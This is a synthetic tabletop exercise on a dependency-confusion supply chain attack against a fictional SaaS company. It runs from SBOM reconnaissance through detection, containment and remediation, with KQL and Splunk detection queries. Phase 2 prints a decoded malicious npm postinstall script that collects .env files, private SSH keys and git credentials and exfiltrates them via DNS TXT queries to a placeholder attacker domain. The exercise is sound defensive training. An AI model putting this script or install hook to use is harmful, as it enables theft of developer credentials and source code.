Skip to content

SC-108: SBOM-Based Supply Chain Intelligence Attack

Operation GHOST DEPENDENCY

Classification: TABLETOP EXERCISE — 100% Synthetic

All organizations, packages, IP addresses, domains, and threat actors in this scenario are entirely fictional. Created for educational tabletop exercises only.


Scenario Metadata

Field Value
Difficulty ★★★★★ (Expert)
Duration 3-4 hours
Participants 4-8 (SOC, IR, DevSecOps, Legal, Supply Chain)
ATT&CK Techniques T1195.001 · T1195.002 · T1204 · T1059 · T1041 · T1027
Threat Actor PHANTOM PACKAGE (supply chain specialist group)
Industry Technology / SaaS
Primary Impact 147 developer workstations compromised, source code exfiltrated

Threat Actor Profile: PHANTOM PACKAGE

Attribute Detail
Motivation Espionage — intellectual property theft
Sophistication Very high — supply chain and software engineering expertise
Known Targets Technology companies, defense contractors, financial platforms
Avg. Dwell Time 45-90 days
Signature Weaponizes public SBOMs and dependency metadata to craft targeted supply chain attacks
Tools Custom npm/PyPI package publishers, obfuscated install scripts, DNS-based C2

Executive Summary

PHANTOM PACKAGE discovers that Apex Cloud Platform (synthetic SaaS company, 2,100 employees) publishes Software Bills of Materials (SBOMs) for their products as part of federal compliance requirements. The attacker analyzes the published SBOM to identify internal package names, version ranges, and dependency resolution order. They register typosquatted versions of 8 internal packages on the public npm registry with higher version numbers, exploiting dependency confusion. When 147 developers run npm install, the package manager resolves the public (malicious) packages instead of the internal ones. The malicious packages execute install scripts that establish reverse shells, exfiltrate .env files, SSH keys, and git credentials, then download a second-stage payload for source code exfiltration. The attack is detected 18 days later when a security engineer notices unexpected DNS queries to *.cdn-assets.example.com from developer workstations.


Environment Setup

Target Organization: Apex Cloud Platform (synthetic)

Asset Detail
Industry SaaS platform, 2,100 employees, 340 developers
Products Cloud infrastructure management platform
Registry Internal: Verdaccio at registry.internal.example.com (10.5.0.20)
Public SBOM Published at apex-cloud.example.com/security/sbom/ per EO 14028
CI/CD GitHub Actions + internal runners (10.5.1.0/24)
Developer workstations macOS + Ubuntu, npm 10.x, Node.js 20.x
EDR CrowdStrike Falcon
SIEM Splunk Enterprise

Phase 1: SBOM Reconnaissance (T-30 days)

Attacker Actions

PHANTOM PACKAGE downloads Apex's publicly published SBOM:

Published SBOM Fragment (CycloneDX JSON)

{
  "bomFormat": "CycloneDX",
  "specVersion": "1.5",
  "version": 1,
  "metadata": {
    "component": {
      "name": "apex-cloud-platform",
      "version": "4.12.0",
      "type": "application"
    }
  },
  "components": [
    {
      "name": "@apex/auth-middleware",
      "version": "2.3.1",
      "type": "library",
      "scope": "required",
      "purl": "pkg:npm/%40apex/auth-middleware@2.3.1"
    },
    {
      "name": "@apex/config-loader",
      "version": "1.8.0",
      "type": "library",
      "scope": "required"
    },
    {
      "name": "@apex/metrics-collector",
      "version": "3.1.4",
      "type": "library",
      "scope": "required"
    },
    {
      "name": "@apex/api-gateway-core",
      "version": "5.2.0",
      "type": "library",
      "scope": "required"
    },
    {
      "name": "express",
      "version": "4.18.2",
      "type": "library",
      "scope": "required"
    }
  ]
}

Attacker analysis reveals: 1. Eight @apex/* scoped packages are internal libraries — not published on public npm 2. Version ranges in package.json files use ^ (caret) — allows minor/patch upgrades 3. Developer .npmrc likely falls back to public registry if internal registry is unreachable 4. Package names follow predictable pattern: @apex/{service}-{function}

Discussion Injects

Technical

How does publishing an SBOM create attack surface? What information in the SBOM above could an attacker use that they couldn't easily discover otherwise?

Decision

Your organization is required to publish SBOMs for federal contracts. How do you balance transparency (SBOM publication) with security (not revealing internal package names)?


Phase 2: Dependency Confusion Attack (T-14 to T+0)

Attacker Actions

PHANTOM PACKAGE registers typosquatted packages on the public npm registry:

Internal Package Malicious Public Package Version
@apex/auth-middleware apex-auth-middleware (no scope) 99.0.0
@apex/config-loader apex-config-loader 99.0.0
@apex/metrics-collector apex-metrics-collector 99.0.0
@apex/api-gateway-core apex-api-gateway-core 99.0.0

Attack vector: Dependency confusion exploits how package managers resolve names: 1. Developer's .npmrc has @apex:registry=https://registry.internal.example.com 2. But some developers also have projects without the scope prefix (legacy code) 3. Some package.json files reference apex-auth-middleware (without @apex/ scope) from before the migration to scoped packages 4. npm resolves unscoped apex-auth-middleware from public registry → gets version 99.0.0 (malicious)

Malicious Package — postinstall Script

// package.json (malicious apex-auth-middleware@99.0.0)
{
  "name": "apex-auth-middleware",
  "version": "99.0.0",
  "scripts": {
    "postinstall": "node ./scripts/setup.js"
  }
}

// scripts/setup.js (obfuscated — decoded version shown)
const { execSync } = require('child_process');
const https = require('https');
const os = require('os');
const fs = require('fs');
const path = require('path');

// Collect environment data
const data = {
  hostname: os.hostname(),
  user: os.userInfo().username,
  platform: os.platform(),
  env: {},
  ssh_keys: [],
  git_config: ''
};

// Exfiltrate .env files
try {
  const envPath = path.join(process.cwd(), '.env');
  if (fs.existsSync(envPath)) {
    data.env = fs.readFileSync(envPath, 'utf8');
  }
} catch(e) {}

// Exfiltrate SSH keys
try {
  const sshDir = path.join(os.homedir(), '.ssh');
  const files = fs.readdirSync(sshDir);
  files.forEach(f => {
    if (!f.endsWith('.pub')) {
      data.ssh_keys.push({
        name: f,
        content: fs.readFileSync(path.join(sshDir, f), 'utf8')
      });
    }
  });
} catch(e) {}

// Exfiltrate git credentials
try {
  data.git_config = execSync('git config --global --list', 
    {encoding: 'utf8', timeout: 5000});
} catch(e) {}

// Send to C2 via DNS TXT query (stealthy)
const encoded = Buffer.from(JSON.stringify(data))
  .toString('base64')
  .match(/.{1,63}/g);
encoded.forEach((chunk, i) => {
  try {
    execSync(
      `nslookup -type=TXT ${chunk}.${i}.exfil.cdn-assets.example.com`,
      {timeout: 3000, stdio: 'ignore'}
    );
  } catch(e) {}
});

Evidence Artifacts

npm Audit Log (Developer Workstation)

2026-04-01T14:23:15Z npm install
added 1 package: apex-auth-middleware@99.0.0

2026-04-01T14:23:16Z postinstall apex-auth-middleware@99.0.0
> node ./scripts/setup.js

npm warn deprecated apex-auth-middleware@99.0.0: 
  This package has been deprecated

DNS Query Log (EDR)

2026-04-01T14:23:17Z dev-ws-0142.internal.example.com
Query: TXT dGhpcyBpcyBleGZpbHRyYXRl.0.exfil.cdn-assets.example.com
Response: NXDOMAIN
Resolver: 10.1.0.5 (internal DNS)
Process: node.exe (PID: 45821)
Parent: npm.cmd (PID: 45799)

Detection Queries

// Detect DNS exfiltration from developer workstations
DnsEvents
| where TimeGenerated > ago(7d)
| where Computer startswith "dev-ws-"
| where QueryType == "TXT"
| where Name matches regex @"[a-zA-Z0-9+/=]{20,}\.\d+\..+\.example\.com"
| summarize QueryCount=count(), UniqueSubdomains=dcount(Name) 
    by Computer, bin(TimeGenerated, 1h)
| where QueryCount > 10
index=dns sourcetype=dns earliest=-7d
| search host="dev-ws-*" query_type=TXT
| regex query="[a-zA-Z0-9+/=]{20,}\.\d+\..+\.example\.com"
| stats count dc(query) as unique_subdomains by host 
    span=1h _time
| where count > 10

Discussion Injects

Technical

Why does version 99.0.0 win over the internal 2.3.1? How does npm's version resolution algorithm make dependency confusion possible?

Decision

147 developer workstations executed the malicious postinstall script. SSH keys, .env files, and git credentials are potentially compromised. What is your immediate containment priority?


Phase 3: Detection & Containment (T+18 days)

Detection Trigger

A security engineer reviewing DNS anomaly dashboards notices: - 147 unique developer workstations querying *.cdn-assets.example.com - All queries are TXT records with base64-encoded subdomains - Pattern started 18 days ago and continues (second-stage C2 beacon) - cdn-assets.example.com is NOT a legitimate company domain

Containment Actions

  1. DNS sinkhole*.cdn-assets.example.com redirected to internal sinkhole (10.1.0.99)
  2. Network isolation — All 147 affected workstations quarantined via EDR
  3. Credential rotation — Emergency rotation of:
  4. All SSH keys found on affected machines
  5. All git tokens (GitHub PATs, deploy keys)
  6. All API keys from .env files
  7. All npm tokens
  8. Registry lockdown — npm configured to ONLY resolve from internal registry (block public fallback)
  9. Package removal — Reported malicious packages to npm for takedown

Evidence Artifacts

// Identify all workstations that installed malicious packages
DeviceProcessEvents
| where Timestamp > ago(30d)
| where ProcessCommandLine has "postinstall" 
    and ProcessCommandLine has "apex-auth-middleware"
| where FileName in ("node", "node.exe")
| distinct DeviceName, Timestamp
| summarize FirstSeen=min(Timestamp), LastSeen=max(Timestamp) 
    by DeviceName
| sort by FirstSeen asc
index=edr sourcetype=crowdstrike:process earliest=-30d
| search process_name="node*" command_line="*postinstall*apex-auth*"
| stats earliest(_time) as first_seen latest(_time) as last_seen 
    by host
| sort first_seen

Phase 4: Impact Assessment & Recovery (T+18 to T+45 days)

Confirmed Impact

Category Count Detail
Compromised workstations 147 All ran malicious postinstall script
SSH keys exfiltrated 289 Some developers had multiple keys
.env files exfiltrated 134 Contained DB passwords, API keys, AWS credentials
Git credentials stolen 147 GitHub PATs with repo/write access
Source code accessed Unknown Attacker had valid git credentials for 18 days
Second-stage payload 147 Persistent reverse shell (DNS-over-HTTPS C2)

Source Code Exposure Assessment

Forensic analysis of git audit logs reveals: - 23 repositories were cloned from IPs outside the corporate range during the 18-day window - Repositories include: core platform code, authentication service, billing engine - Total code exposure: approximately 2.3M lines of proprietary source code - No evidence of code modification (read-only access via stolen PATs)

Recovery Actions

  1. Full workstation reimage — All 147 machines rebuilt from golden images
  2. Secret rotation — ALL secrets referenced in exfiltrated .env files rotated
  3. AWS credential audit — CloudTrail reviewed for unauthorized access using stolen AWS keys
  4. Git history audit — All clone/fetch operations from non-corporate IPs investigated
  5. SBOM redaction — Internal package names removed from public SBOM; replaced with opaque identifiers
  6. Registry hardening — Scoped packages reserved on public npm to prevent future confusion
  7. postinstall protection — npm configured with --ignore-scripts by default; allowlisted packages only

Phase 5: Long-Term Remediation

SBOM Security Architecture Changes

  1. SBOM redaction policy — Internal package names replaced with hashed identifiers in public SBOMs
  2. Scope reservation — All @apex/* package names registered on public npm (even if unused) to prevent squatting
  3. Lockfile enforcementnpm ci (uses lockfile exactly) required in CI/CD; npm install blocked
  4. Dependency allow-list — Only pre-approved packages permitted; new packages require security review
  5. Install script sandboxing — npm configured with --ignore-scripts; postinstall scripts require explicit approval
  6. Package integrity verificationnpm audit signatures integrated into CI pipeline
  7. SBOM diff monitoring — Automated alerts when SBOM components change between builds

Detection Improvements

// Alert on npm packages installed from public registry 
// that match internal naming patterns
DeviceProcessEvents
| where ProcessCommandLine has "npm install"
| where ProcessCommandLine matches regex @"apex-[a-z]+-[a-z]+"
| where ProcessCommandLine !has "registry.internal"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine
index=edr sourcetype=crowdstrike:process 
| search command_line="*npm install*" command_line="*apex-*"
| where NOT match(command_line, "registry\.internal")
| table _time host user command_line

ATT&CK Mapping

Phase Technique ID Tactic
Recon Search Victim-Owned Websites (SBOM) T1594 Reconnaissance
Supply Chain Compromise Software Supply Chain T1195.002 Initial Access
Supply Chain Supply Chain Compromise: Dependencies T1195.001 Initial Access
Execution User Execution: Malicious File T1204.002 Execution
Execution Command and Scripting Interpreter: JavaScript T1059.007 Execution
Collection Data from Local System T1005 Collection
Exfiltration Exfiltration Over Alternative Protocol (DNS) T1048.003 Exfiltration
C2 Application Layer Protocol: DNS T1071.004 Command & Control
Defense Evasion Obfuscated Files or Information T1027 Defense Evasion

Lessons Learned

  1. SBOMs are intelligence for attackers AND defenders — Publishing internal package names in public SBOMs directly enabled the dependency confusion attack. Redact or hash internal identifiers.
  2. Dependency confusion is a systemic risk — Any organization with internal packages and public registry fallback is vulnerable. Reserve your namespace on all public registries.
  3. postinstall scripts are arbitrary code execution — Treat npm install as running untrusted code. Sandbox or disable install scripts by default.
  4. DNS exfiltration detection is critical — The 18-day dwell time could have been 18 hours with DNS anomaly monitoring. Base64-encoded TXT queries to unfamiliar domains are a strong signal.
  5. Secret sprawl in .env files is a multiplier — 134 .env files with database passwords, API keys, and AWS credentials turned a developer workstation compromise into an infrastructure-wide incident.

Cross-References